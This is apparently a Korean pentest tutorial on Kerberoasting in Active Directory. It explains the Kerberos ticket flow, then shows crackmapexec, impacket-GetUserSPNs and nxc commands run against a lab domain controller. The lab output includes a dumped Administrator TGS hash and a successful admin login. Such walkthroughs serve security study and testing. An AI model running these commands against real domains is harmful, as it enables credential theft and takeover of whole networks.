Kerberoasting은 Active Directory 환경에서 자주 사용되곤 하는 Kerberos 인증 프로토콜의
특수한 매커니즘을 이용하는 공격으로
TGS를 발급하는 과정에서 서비스 주체의 NT Hash로 암호화된 데이터를
해쉬 크래킹을 통해 복호화를 시도하며 평문 패스워드를 탈취하는 방식입니다.
커버로스 프로토콜은 총 6단계로 이루어진 인증 매커니즘을 갖고 있습니다.
AS는 티켓인 Key를 분포하는 곳인, Key Distribution Center의 약어입니다.
Active Directory 환경에서는 Domain Controller가 AS의 역할을 합니다.
Alice는 본인의 계정정보로 로그인 한 이후 DC로 본인의 ID와 Timestamp를
해쉬화된 패스워드로 암호화한 것을 DC에게 전송하여 ST 발급 요청
DC는 Alice의 해쉬 암호로 암호화된 Alice에 대한 정보와 비밀키 Sa를 발급
Alice는 자신의 해쉬 암호로 해당 정보를 복호화하여 ST 획득
획득한 ST을 가지고 DC에 TGS 요청
(요청을 할 때는 ST 정보와 함께 현재 시간(TimeStamp)를 Sa로 암호화하여 전송
DC는 Sa로 복호화한 TimeStamp 정보를 구해서 일치한다면 TGS 발급
Alice는 TGS를 가지고 서비스를 이용할 수 있음
발급된 TGS는 Service Admin의 NT Hash 정보로 암호화 되어있음
AS-REP-Roasting을 통해서 얻은 정보를 가지고 해쉬 크래킹을 통해 크리덴셜 정보를 획득하듯
TGS 정보를 사전 파일을 통해 복호화를 시도하면서 Service Admin에 관한 NT Hash 정보를
크래킹하여 가져올 수 있습니다.
Practice
Kerberoasting 공격은 실무에서 보통 crackmapexec 또는 impacket을 사용합니다.
crackmapexec ldap 10.10.10.100 -u svc_tgs -p PASS --kerberoasting res.txt
impacket-GetUserSPNs active.htb/svc_tgs:PASS
impacket-GetUserSPNs active.htb/svc_tgs:PASS -request-user SERVICE_ADMIN
┌──(root㉿kali)-[~/Pentest]
└─# crackmapexec ldap 10.0.2.10 -u wiki -p password123@ --kerberoasting ker.result
SMB 10.0.2.10 445 DC01 [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
LDAP 10.0.2.10 389 DC01 [+] offsec.local\wiki:password123@
LDAP 10.0.2.10 389 DC01 [*] Total of records returned 1
CRITICAL:impacket:CCache file is not found. Skipping...
LDAP 10.0.2.10 389 DC01 sAMAccountName: Administrator memberOf: CN=ITSupport,CN=Users,DC=offsec,DC=local pwdLastSet: 2024-11-05 06:17:14.230553 lastLogon:2024-11-07 09:41:03.215577
LDAP 10.0.2.10 389 DC01 $krb5tgs$23$*Administrator$OFFSEC.LOCAL$offsec.local/Administrator*$73fde6ae975d5a402989cd7ff62406e5$0c69d70cb99d8ed6fa3d665e2b40775f65ea2e2da90c696f7e0c6efc36c41ba25787103c622ac32899a8b12f6b1f13d972e4347e63ad893bba82623ca2309b2c71d06e5c531bd51dd9489693ac6b2e2585f7fcb5b6914927d9835a9ea2637d7b90a3b25f1d3e0a51743c357e2df0d256320f1a5871abc0a24f9ee481fa80c116755d1a66ee68b9150787bd66909208c323f7724ccd49cbbc81fbc13076664607f2e28adb960463d9125e44f49371e90a9f6aa51f653eddb923783b01a7467a366ad031f65b633f630951f1dd7e2ac7452477a916d94d2835c7dca05fb6fd107949ff5134028b90da9de25862192c9be7e1d5f7e3374e19a47d5b2359accb87ff8084bbcb52b2286048db6e60596f6272f6a1a63baaa824518ca7064b595d3956da9c111f803bc252cb5eed59957779213329357eaa8e334928f0b7e0ec14a3ecd0d32a7ae4fd0370e6c67bb270e981d53ac83c240dfc113720f7645eea908f077ca601316732d048621c7a659001888983918ef0993c45350c1a662fbf57f4252466e9642cba14237235c0a1c1cc9f06596f86e8ae0a47bae54a3e946dde915d2e2e388c90a1eb2f31af4280086bfd977a10aeaffc5b889381e398191eea758e439fbf6b34d0c6d99e2134fee6f9d39acf8e7e955e3b0716dc1eb8a202ece43b59e8cf2234497f2377866a45b01dfee5ddaa4020ba66ee1b5bc94843a57461a1519aa5150df7a4aa297b95cc0f7f564b188193c2be5e3507ce514ce666512af2c40e781200de9c33f0b62b3b86283183d8a80af8dd047f2ed704aaf72cef1f809669920687e0ffd4896e74e181a3eaea81d2ff4a6506786bdc7c5bb2a43ecea1f112cd9b450746b749efc9dfdeef004e01e24c95256165dff9e26f41e2444ee3892efa80fe54c26ad296d4f3158bfaade6190b6f09491eb1def0b5fe5f24058171b8b5016269776a7c79123803ffe7fed9775daa94033c724a1e03de8e9ff1a75468cdc872b33d45dfdb17780e2313b7d992872685e1632103db650517d397c4bf4f5cf10c8b7483ef4ea76d4dbde63608cbf483f276c8e386bc4058bbb4aa95f4b591937cba7341d2ed155144da6bf68e12acac5b02d9829c91a1df1484e7c88b625e2bc42126cdf155c652fc93b73498cecb8fafec19787a97dd8f323e6b2c792055b670706c68e89d773f06a13290768a1428103507aec4a7567cfa9c6644aa0045255bd3b79ca241b8737983878532440716f288f9e5ad0e4c57ebb47975a03c28a184d07667b8
wiki 계정과 연결된 SPN이 존재했고 서비스 주체가 Administrator 인 것으로 확인됩니다.
발급된 TGS는 Administrator 계정의 NT Hash로 암호화 되어있기 때문에
사전 공격을 통해서 NT Hash를 크랙하고 평문 패스워드를 획득한 뒤 로그인을 할 수 있습니다.
┌──(root㉿kali)-[~]
└─# nxc smb 10.0.2.10 -u Administrator -p Password123!
SMB 10.0.2.10 445 DC01 [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB 10.0.2.10 445 DC01 [+] offsec.local\Administrator:Password123! (Pwn3d!)